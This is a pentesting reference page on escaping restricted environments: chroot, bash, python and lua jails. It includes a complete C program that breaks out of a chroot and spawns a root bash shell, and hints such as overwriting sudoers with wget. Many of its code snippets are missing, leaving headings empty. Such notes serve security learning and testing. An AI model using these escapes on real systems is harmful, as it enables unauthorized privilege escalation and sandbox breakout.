Escaping from Jails

GTFOBins

Search in https://gtfobins.github.io/arrow-up-right if you can execute any binary with "Shell" property

Chroot limitation

From wikipediaarrow-up-right: The chroot mechanism is not intended to defend against intentional tampering by privileged (root) users. On most systems, chroot contexts do not stack properly and chrooted programs with sufficient privileges may perform a second chroot to break out.

Therefore, if you are root inside a chroot you can escape creating another chroot. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it:

break_chroot.c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
    mkdir("chroot-dir", 0755);
    chroot("chroot-dir");
    for(int i = 0; i < 1000; i++) {
        chdir("..");
    }
    chroot(".");
    system("/bin/bash");
}

Using python:

Using perl:

Bash Jails

Modify PATH

Check if you can modify the PATH env variable

Using vim

Create script

Check if you can create an executable file with /bin/bash as content

Get bash from SSH

If you are accessing via ssh you can use this trick to execute a bash shell:

Wget

You can overwrite for example sudoers file

Other tricks

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/arrow-up-right https://pen-testing.sans.org/blog/2012/0b6/06/escaping-restricted-linux-shellsarrow-up-right https://gtfobins.github.ioarrow-up-right It could also be interesting the page:

Bypass Bash Restrictionschevron-right

Python Jails

Tricks about escaping from python jails in the following page:

Bypass Python sandboxeschevron-right

Lua Jails

In this page you can find the global functions you have access to inside lua: https://www.gammon.com.au/scripts/doc.php?general=lua_basearrow-up-right

Eval with command execution:

Some tricks to call functions of a library without using dots:

Enumerate functions of a library:

Note that every time you execute the previous one liner in a different lua environment the order of the functions change. Therefore if you need to execute one specific function you can perform a brute force attack loading different lua environments and calling the first function of le library:

Get interactive lua shell: If you are inside a limited lua shell you can get a new lua shell (and hopefully unlimited) calling:

Last updated